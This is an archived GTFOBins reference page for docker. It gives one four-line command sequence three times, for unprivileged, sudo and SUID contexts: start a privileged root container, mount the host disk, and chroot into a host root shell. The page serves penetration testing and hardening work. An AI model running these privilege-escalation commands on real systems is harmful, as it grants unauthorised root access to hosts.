

docker | GTFOBins

Archived: 2026-04-05 23:34:11 UTC

Unprivileged

This function can be performed by any unprivileged user.

```
docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash
```

Sudo

This function is performed by the privileged user if executed via `sudo` because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via `sudo VAR=value ...` or exported then `sudo -E ...`.

```
docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash
```

SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the *effective* privileges are not dropped.

```
docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash
```

Source: <https://gtfobins.github.io/gtfobins/docker/>